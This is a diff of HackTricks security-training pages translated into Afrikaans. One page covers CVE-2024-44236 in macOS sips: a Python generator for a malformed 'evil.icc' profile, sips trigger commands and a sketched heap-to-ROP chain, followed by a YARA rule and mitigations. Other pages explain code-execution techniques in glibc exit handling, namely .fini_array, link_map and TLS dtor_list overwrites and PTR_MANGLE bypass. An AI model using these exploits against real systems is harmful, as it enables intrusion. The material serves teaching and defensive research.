+> Apple het CVE-2024-44236 in **macOS Sequoia 15.1**, wat op 28 Oktober 2024 vrygestel is, reggestel.[[3]](#references) CVE-2025-24185 is 'n afsonderlike `sips` out-of-bounds write wat in Sequoia 15.3, Sonoma 14.7.3 en Ventura 13.7.3 reggestel is; Apple se verklaarde impak vir daardie probleem is onverwagte beëindiging van die toepassing.[[4]](#references)
+
+## Kwesbare kode
+```c
+// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
+if (offsetToCLUT <= tagDataSize) {
+// Simplified: inspect 16 bytes starting *at* offsetToCLUT.
+for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
+if (should_clear(buffer[i]))
+buffer[i] = 0; // missing i < tagDataSize check
+}
+}
+```
+## Uitbuitingstappe
+
+1. **Craft a malicious `.icc` profile**
+
+* Stel ’n minimale ICC-header (`acsp`) op en voeg een `mAB `- (of `mBA `-) tag by.
+* Stel die tag-tabel so op dat **`offsetToCLUT` gelyk is aan die tag-grootte** (`tagDataSize`).
+* Gebruik ’n beheerde toetsgeval met nie-nul-grepe in die aangrensende heap-allokasie sodat die voorwaardelike writes waargeneem kan word. Lêer-aangrensendheid impliseer nie heap-aangrensendheid nie; heap-shaping is ’n afsonderlike, build-spesifieke deel van die uitbuiting.
+
+2. **Trigger parsing with any sips operation that touches the profile**
+
+```bash
+# verification path (no output file needed)
+sips --verifyColor evil.icc
+# or implicitly when converting images that embed the profile
+sips -s format png payload.jpg --out out.png
+```
+
+3. **Heap metadata corruption ➜ arbitrary write ➜ ROP**
+Om ’n kort, voorwaardelike out-of-bounds zero-write in code execution te omskep, vereis beheer oor die heap-uitleg plus ’n geskikte object- of allocator-teiken. Een exploitation-skets stel voor dat die tag-allokasie aan die einde van ’n `nano_zone`-slab van 0x1000 grepe geplaas word, aangrensende slotmetadata soos `meta->slot_B` korrupteer word, en daarna ’n daaropvolgende free/allocation-siklus gebruik word om met ’n fake object te oorvleuel en ’n C++ vtable-aanwyser te vervang voordat ’n ROP-pivot uitgevoer word. Dit behou die nuttige navorsingsrigting, maar die openbare ZDI-materiaal staaf slegs die out-of-bounds-primitive en potensiële code-execution-impak; dit staaf nie daardie presiese allocator-chain nie. Behandel die skets, offsets, allocator-internals en ROP-besonderhede as ongeverifieerd en build-spesifiek totdat dit teen die presiese macOS-image gereproduseer is.[[1]](#references)
+
+### Quick PoC generator (Python 3)
+```python
+#!/usr/bin/env python3
+import struct
+
+TAG_OFFSET = 144 # 128-byte header + count + one record
+TAG_SIZE = 52
+
+header = bytearray(128)
+header[8:12] = b'\x04\x30\x00\x00' # ICC v4.3
+header[12:16] = b'mntr' # display-device profile
+header[16:20] = b'RGB '
+header[20:24] = b'XYZ '
+struct.pack_into('>6H', header, 24, 2024, 1, 1, 0, 0, 0)
+header[36:40] = b'acsp' # ICC profile signature is at offset 36
+header[40:44] = b'APPL'
+struct.pack_into('>III', header, 68, 0x0000F6D6, 0x00010000, 0x0000D32D) # D50
+struct.pack_into('>I', header, 0, TAG_OFFSET + TAG_SIZE)
+
+# A2B0 is the tag signature; its payload type is mAB.
+table = struct.pack('>I4sII', 1, b'A2B0', TAG_OFFSET, TAG_SIZE)
+mab = bytearray(TAG_SIZE)
+mab[0:4] = b'mAB '
+mab[8] = 3 # input channels
+mab[9] = 3 # output channels
+struct.pack_into('>I', mab, 24, TAG_SIZE) # offsetToCLUT == tag-data size
+profile = header + table + mab
+
+open('evil.icc', 'wb').write(profile)
+print('[+] Wrote evil.icc (%d bytes)' % len(profile))
+```
+### YARA-opsporingsreël
+```yara
+rule ICC_mAB_offsetToCLUT_anomaly
+{
+meta:
+description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
+author = "HackTricks"
+strings:
+$magic = { 61 63 73 70 } // 'acsp'
+$mab = { 6D 41 42 20 } // 'mAB '
+$mba = { 6D 42 41 20 } // 'mBA '
+condition:
+filesize >= 144 and $magic at 36 and uint32be(128) == 1 and
+(
+$mab at uint32be(136) or $mba at uint32be(136)
+) and
+uint32be(uint32be(136) + 24) == uint32be(140)
+}
+```
+Die header- en tag-uitleg volg die ICC-profiel-formaat, maar dit bly ’n strukturele toetsgenerator eerder as ’n betroubare exploit: parser-bereikbaarheid en heap-nabyheid hang van die presiese teikenbuild af.[[5]](#references) Die kompakte reël hanteer slegs hierdie een-tag-uitleg. ’n Production parser moet elke tag-table-rekord met bounds- en integer-overflow-kontroles itereer; moenie op hierdie reël as volledige dekking staatmaak nie.
+
+## Impak
+
+Die verwerking van ’n vervaardigde ICC-profiel deur die kwesbare `sips`-pad kan die proses beëindig en kan tot code execution in die konteks van daardie proses lei. ICC-profiele kan selfstandige lêers wees of in formate soos PNG, JPEG en TIFF ingebed wees, maar bereikbaarheid deur Preview, Quick Look, Safari of Mail moet afsonderlik getoets word. Die aangehaalde advisories stel nie ’n Gatekeeper-bypass vas nie.[[1]](#references)[[2]](#references)
+
+## Opsporing & Mitigering
+
+* **Patch:** installeer macOS 15.1 of later vir Sequoia; gebruik Apple se security-release-riglyne vir ander ondersteunde branches.[[3]](#references)
+* Gebruik die beperkte YARA-reël hierbo vir die presiese proof-of-concept-uitleg, en deploy ’n werklike ICC parser wanneer breër inspeksie vereis word.
+* Strip of sanitise ingebedde ICC-profiele met `exiftool -icc_profile= -overwrite_original ` voordat verdere verwerking op onbetroubare lêers plaasvind.
+* Ontleed onbekende media waar prakties in ’n geïsoleerde, weggooibare virtuele masjien.
+* Vir DFIR kan uitvoering van `sips --verifyColor`, relevante proses-crashes en onverwagte `ColorSync`-library-loads nuttige konteks verskaf, maar die afwesigheid van hierdie gebeurtenisse sluit nie uit dat ’n ander toepassing die geaffekteerde parser bereik nie.
+
+## References
+
+- [1] [CVE-2024-44236: Kwesbaarheid vir Remote Code Execution in Apple macOS - Zero Day Initiative Blog](https://www.zerodayinitiative.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos)
+- [2] [ZDI-24-1445 - Kwesbaarheid vir Out-of-Bounds Write Remote Code Execution tydens Apple macOS ICC-profiel-parsing](https://www.zerodayinitiative.com/advisories/ZDI-24-1445/)
+- [3] [Apple - Oor die security-inhoud van macOS Sequoia 15.1](https://support.apple.com/en-us/121564)
+- [4] [NVD - CVE-2025-24185](https://nvd.nist.gov/vuln/detail/CVE-2025-24185)
+- [5] [International Color Consortium - ICC.1:2022-profielspesifikasie](https://www.color.org/specifications/ICC.1-2022-05.pdf)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
index 31e45fba488..1cb63bc30b5 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
@@ -5,52 +5,51 @@
## .dtors
> [!CAUTION]
-> Nowadays is very **weird to find a binary with a .dtors section!**
+> Die legacy `.dtors`-afdeling is ongewoon in moderne ELF binaries; hedendaagse toolchains gebruik `.fini_array`.
-The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
-The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
-
-Get the address of this section with:
+Destructor-funksies loop tydens normale prosesbeëindiging, soos nadat `main` terugkeer of kode `exit` aanroep; `_exit`, ’n fatale sein of ’n skielike crash omseil normale finalisering. In legacy binaries word function pointers in `.dtors` gestoor. As ’n arbitrary write die terminerende merker by `__DTOR_END__` met ’n uitvoerbare adres kan vervang, kan die beëindigingspad dit aanroep.[[2]](#references)
+Kry die adres van hierdie afdeling met:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
-
-Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
+In 32-bis-voorbeelde word die `.dtors`-lys gewoonlik deur `0xffffffff` en `0x00000000` begrens. Om slegs daardie merkers te sien, beteken dat geen destructor geregistreer is nie. Deur die null-terminator met die shellcode-adres te oorskryf, word ’n callback ingevoeg.
> [!WARNING]
-> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
+> Die exploit benodig eers ’n uitvoerbare ligging vir die shellcode, of ’n herbruikbare kode-adres soos ’n funksie/ROP-teiken.
## **.fini_array**
-Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
-
+`.fini_array` is ’n skikking van funksiewysers wat tydens normale beëindiging deur die runtime aangeroep word, in omgekeerde volgorde. Dit is nuttig wanneer ’n arbitrêre skryfaksie ’n callback na shellcode of terug na `main` kan herlei vir nog ’n exploitation-rondte.[[2]](#references)
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
- 8049934 a0850408
+8049934 a0850408
#Put your address in 0x8049934
```
+Elke array-inskrywing word normaalweg een keer per finaliseringsdeurgang besoek, dus gee die oorskryf van een inskrywing jou een direkte oproep, tensy die exploit ook die finaliseringsbeheerbaan herlei.
-Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
+Let daarop dat inskrywings in `.fini_array` in **omgekeerde** volgorde geroep word, dus moet jy waarskynlik van die laaste een af begin skryf.
-Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
+#### Ewige lus
-#### Eternal loop
+Die aangehaalde Insomni'hack `onewrite` exploit verander **`.fini_array`** in ’n herhaalbare skryflus. Met minstens twee bruikbare inskrywings kan dit:[[1]](#references)
-In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
-
-- Use your first write to **call the vulnerable arbitrary write function** again
-- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
+- Jou eerste skrywing gebruik om die kwesbare arbitrary write-funksie weer te **roep**
+- Dan die return address in die stack, wat deur **`__libc_csu_fini`** gestoor word (die funksie wat al die `.fini_array`-funksies roep), bereken en die **address van `__libc_csu_fini`** daar plaas
+- Dit sal **`__libc_csu_fini`** homself weer laat roep, wat die **`.fini_array`**-funksies weer uitvoer. Hulle sal dan die kwesbare WWW-funksie 2 keer roep: een keer vir **arbitrary write** en nog ’n keer om die **return address van `__libc_csu_fini`** op die stack weer te oorskryf sodat dit homself weer roep.
> [!CAUTION]
-> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
-> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
+> Let daarop dat met [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** die afdeling **`.fini_array`** leesalleen gemaak word.
+> Moderne linkers plaas `.fini_array` algemeen in ’n `PT_GNU_RELRO`-segment, sodat dit leesalleen word ná relocation, selfs onder partial RELRO. Bevestig die werklike mapping met `readelf -lW` en die process memory map, eerder as om slegs op ’n `checksec`-etiket staat te maak.[[2]](#references)
+
+## References
+- [1] [Insomni'hack teaser 2018 - onewrite (stack pivoting write-up)](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
+- [2] [MaskRay — startup files and sequences, including `.fini_array`](https://maskray.me/blog/2021-11-07-init-ctors-init-array)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index 97c286231c2..9505f2400b8 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
-## **\_\_atexit Structures**
+## **\_\_atexit Strukture**
> [!CAUTION]
-> Nowadays is very **weird to exploit this!**
+> Deesdae is dit baie **vreemd om dit te exploit!**
-**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
-If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
-Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
-The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
+**`atexit()`** is 'n funksie waaraan **ander funksies as parameters deurgegee word.** Hierdie **funksies** sal **uitgevoer word** wanneer 'n **`exit()`** uitgevoer word of wanneer die **main** terugkeer.\
+As jy die **adres** van enige van hierdie **funksies** kan **wysig** om byvoorbeeld na 'n shellcode te wys, sal jy **beheer oor die** **proses** verkry, maar dit is tans meer ingewikkeld.\
+Tans is die **adresse van die funksies** wat uitgevoer moet word **agter verskeie strukture versteek**, en uiteindelik is die adresse waarna dit wys nie die adresse van die funksies nie, maar is dit **met XOR** en verskuiwings met 'n **ewekansige sleutel geënkripteer**. Daarom is hierdie aanvalvektor tans **nie baie nuttig nie, ten minste op x86** en **x86_64**.\
+Die **enkripsiefunksie** is **`PTR_MANGLE`**. Die presiese implementering is egter **argitektuur- en glibc-weergawe-afhanklik**: die generiese glibc-header is 'n no-op, maar moderne argitektuurspesifieke implementerings bestaan vir belangrike teikens soos **x86_64** en **aarch64**. Moet dus nie aanneem dat 'n nie-x86-teiken outomaties **unmangled** exit pointers het nie; kyk eers na die teiken-build se `pointer_guard.h` / `PTR_MANGLE`-makro's.
-You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
+Jy kan 'n diepgaande verduideliking van hoe dit werk vind by [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)[[1]](#references)
## link_map
-As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
+Soos verduidelik [**in hierdie plasing**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), as die program met `return` of `exit()` eindig, sal dit `__run_exit_handlers()` uitvoer, wat geregistreerde destructors sal oproep.[[2]](#references)
> [!CAUTION]
-> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
-
-The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
+> As die program via die **`_exit()`**-funksie eindig, sal dit die **`exit` syscall** oproep en die exit handlers sal nie uitgevoer word nie. Om dus te bevestig dat `__run_exit_handlers()` uitgevoer word, kan jy 'n breakpoint daarop stel.
+Die belangrike kode is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):[[3]](#references)
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
- {
- ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
- size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
+{
+ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
+size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
- while (sz-- > 0)
- ((fini_t) array[sz]) ();
- }
- [...]
+while (sz-- > 0)
+((fini_t) array[sz]) ();
+}
+[...]
@@ -41,198 +40,248 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
- Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
- Elf64_Addr d_ptr; // offset from l->l_addr of our structure
+Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
+Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
+Let op hoe `map -> l_addr + fini_array -> d_un.d_ptr` gebruik word om die posisie van die **array van funksies om aan te roep** te **bereken**.
-Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
-
-There are a **couple of options**:
-
-- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
-- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.
- - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
+Daar is ’n **paar opsies**:
-Following the previous code you can find another interesting section with the code:
+- Oorskryf die waarde van `map->l_addr` om dit na ’n **vals `fini_array`** te laat wys met instruksies om arbitrary code uit te voer
+- Oorskryf die `l_info[DT_FINI_ARRAY]`- en `l_info[DT_FINI_ARRAYSZ]`-inskrywings (wat min of meer opeenvolgend in die geheue is), om hulle na ’n vervalste `Elf64_Dyn`-struktuur te laat wys wat weer sal veroorsaak dat **`array` na ’n geheuegebied wys** wat deur die aanvaller beheer word.
+- [**Hierdie writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) oorskryf `l_info[DT_FINI_ARRAY]` met die adres van beheerde geheue in `.bss` wat ’n vals `fini_array` bevat. Hierdie vals array bevat **eerste ’n** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adres** wat uitgevoer sal word, en dan die **verskil** tussen die adres van hierdie **vals array** en die w**aarde van `map->l_addr`**, sodat `*array` na die vals array sal wys.[[4]](#references)
+- Volgens die hoofplasing wat hierdie tegniek beskryf en [**hierdie challenge entry**](https://ctftime.org/task/15513), laat `ld.so` ’n pointer op die stack wat na die binary se `link_map` wys. Met ’n arbitrary write is dit moontlik om dit te oorskryf en dit na ’n vals `fini_array` te laat wys wat deur die aanvaller beheer word en byvoorbeeld die adres van ’n [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) bevat.[[2]](#references) [[5]](#references)
+Na aanleiding van die vorige kode kan jy nog ’n interessante afdeling met die kode vind:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
- DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
+DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
-
-In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
+In hierdie geval sou dit moontlik wees om die waarde van `map->l_info[DT_FINI]` te oorskryf sodat dit na ’n vervalste `ElfW(Dyn)`-struktuur wys. Vind [**meer inligting hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).[[2]](#references)
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
-As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
-
-Code from `_run_exit_handlers()`:
+Soos [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), as ’n program via `return` of `exit()` afsluit, sal dit **`__run_exit_handlers()`** uitvoer, wat enige geregistreerde destructor-funksie sal aanroep.[[6]](#references)
+Kode van `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
- in the reverse of the order in which they were registered
- perform stdio cleanup, and terminate program execution with STATUS. */
+in the reverse of the order in which they were registered
+perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
- bool run_list_atexit, bool run_dtors)
+bool run_list_atexit, bool run_dtors)
{
- /* First, call the TLS destructors. */
+/* First, call the TLS destructors. */
#ifndef SHARED
- if (&__call_tls_dtors != NULL)
+if (&__call_tls_dtors != NULL)
#endif
- if (run_dtors)
- __call_tls_dtors ();
+if (run_dtors)
+__call_tls_dtors ();
```
-
-Code from **`__call_tls_dtors()`**:
-
+Kode vanaf **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
- dtor_func func;
- void *obj;
- struct link_map *map;
- struct dtor_list *next;
+dtor_func func;
+void *obj;
+struct link_map *map;
+struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
- initial function or when the process exits via the exit function. */
+initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
- while (tls_dtor_list) // parse the dtor_list chained structures
- {
- struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
- dtor_func func = cur->func;
- PTR_DEMANGLE (func); // demangle the function ptr
-
- tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
- func (cur->obj);
- [...]
- }
+while (tls_dtor_list) // parse the dtor_list chained structures
+{
+struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
+dtor_func func = cur->func;
+PTR_DEMANGLE (func); // demangle the function ptr
+
+tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
+func (cur->obj);
+[...]
+}
}
```
+Vir elke geregistreerde funksie in **`tls_dtor_list`** sal dit die pointer vanaf **`cur->func`** demangle en dit met die argument **`cur->obj`** roep.
-For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
-
-Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
-Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
-
-Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
+Deur die **`tls`**-funksie van hierdie [**fork of GEF**](https://github.com/bata24/gef) te gebruik, is dit moontlik om te sien dat die **`dtor_list`** eintlik baie **naby** aan die **stack canary** en **PTR_MANGLE cookie** is. Dus, met ’n overflow daarop, sou dit moontlik wees om die **cookie** en die **stack canary** te **oorskryf**.\
+Deur die PTR_MANGLE cookie te oorskryf, sou dit moontlik wees om die **`PTR_DEMANGLE` function** te **bypass** deur dit op 0x00 te stel. Dit sal beteken dat die **`xor`** wat gebruik word om die werklike adres te verkry, bloot die gekonfigureerde adres is. Deur dan op die **`dtor_list`** te skryf, is dit moontlik om **verskeie funksies te chain** met die funksie se **address** en sy **argument**.
+Let uiteindelik daarop dat die gestoorde pointer nie net met die cookie ge-xor gaan word nie, maar ook 17 bits geroteer sal word:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
+Jy moet dit dus in ag neem voordat jy ’n nuwe adres byvoeg.
-So you need to take this into account before adding a new address.
+Vind ’n voorbeeld in die [**oorspronklike plasing**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).[[6]](#references)
-Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
+## Ander gemanipuleerde pointers in **`__run_exit_handlers`**
-## Other mangled pointers in **`__run_exit_handlers`**
+Hierdie tegniek word [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) en hang weer daarvan af dat die program **uitgaan deur `return` of `exit()` te roep**, sodat **`__run_exit_handlers()`** geroep word.[[6]](#references)
-This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
+Kom ons kyk na nog code van hierdie funksie:
+```c
+while (true)
+{
+struct exit_function_list *cur;
-Let's check more code of this function:
+restart:
+cur = *listp;
-```c
- while (true)
- {
- struct exit_function_list *cur;
-
- restart:
- cur = *listp;
-
- if (cur == NULL)
- {
- /* Exit processing complete. We will not allow any more
- atexit/on_exit registrations. */
- __exit_funcs_done = true;
- break;
- }
-
- while (cur->idx > 0)
- {
- struct exit_function *const f = &cur->fns[--cur->idx];
- const uint64_t new_exitfn_called = __new_exitfn_called;
-
- switch (f->flavor)
- {
- void (*atfct) (void);
- void (*onfct) (int status, void *arg);
- void (*cxafct) (void *arg, int status);
- void *arg;
-
- case ef_free:
- case ef_us:
- break;
- case ef_on:
- onfct = f->func.on.fn;
- arg = f->func.on.arg;
- PTR_DEMANGLE (onfct);
-
- /* Unlock the list while we call a foreign function. */
- __libc_lock_unlock (__exit_funcs_lock);
- onfct (status, arg);
- __libc_lock_lock (__exit_funcs_lock);
- break;
- case ef_at:
- atfct = f->func.at;
- PTR_DEMANGLE (atfct);
-
- /* Unlock the list while we call a foreign function. */
- __libc_lock_unlock (__exit_funcs_lock);
- atfct ();
- __libc_lock_lock (__exit_funcs_lock);
- break;
- case ef_cxa:
- /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
- we must mark this function as ef_free. */
- f->flavor = ef_free;
- cxafct = f->func.cxa.fn;
- arg = f->func.cxa.arg;
- PTR_DEMANGLE (cxafct);
-
- /* Unlock the list while we call a foreign function. */
- __libc_lock_unlock (__exit_funcs_lock);
- cxafct (arg, status);
- __libc_lock_lock (__exit_funcs_lock);
- break;
- }
-
- if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
- /* The last exit function, or another thread, has registered
- more exit functions. Start the loop over. */
- goto restart;
- }
-
- *listp = cur->next;
- if (*listp != NULL)
- /* Don't free the last element in the chain, this is the statically
- allocate element. */
- free (cur);
- }
-
- __libc_lock_unlock (__exit_funcs_lock);
+if (cur == NULL)
+{
+/* Exit processing complete. We will not allow any more
+atexit/on_exit registrations. */
+__exit_funcs_done = true;
+break;
+}
+
+while (cur->idx > 0)
+{
+struct exit_function *const f = &cur->fns[--cur->idx];
+const uint64_t new_exitfn_called = __new_exitfn_called;
+
+switch (f->flavor)
+{
+void (*atfct) (void);
+void (*onfct) (int status, void *arg);
+void (*cxafct) (void *arg, int status);
+void *arg;
+
+case ef_free:
+case ef_us:
+break;
+case ef_on:
+onfct = f->func.on.fn;
+arg = f->func.on.arg;
+PTR_DEMANGLE (onfct);
+
+/* Unlock the list while we call a foreign function. */
+__libc_lock_unlock (__exit_funcs_lock);
+onfct (status, arg);
+__libc_lock_lock (__exit_funcs_lock);
+break;
+case ef_at:
+atfct = f->func.at;
+PTR_DEMANGLE (atfct);
+
+/* Unlock the list while we call a foreign function. */
+__libc_lock_unlock (__exit_funcs_lock);
+atfct ();
+__libc_lock_lock (__exit_funcs_lock);
+break;
+case ef_cxa:
+/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
+we must mark this function as ef_free. */
+f->flavor = ef_free;
+cxafct = f->func.cxa.fn;
+arg = f->func.cxa.arg;
+PTR_DEMANGLE (cxafct);
+
+/* Unlock the list while we call a foreign function. */
+__libc_lock_unlock (__exit_funcs_lock);
+cxafct (arg, status);
+__libc_lock_lock (__exit_funcs_lock);
+break;
+}
+
+if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
+/* The last exit function, or another thread, has registered
+more exit functions. Start the loop over. */
+goto restart;
+}
+
+*listp = cur->next;
+if (*listp != NULL)
+/* Don't free the last element in the chain, this is the statically
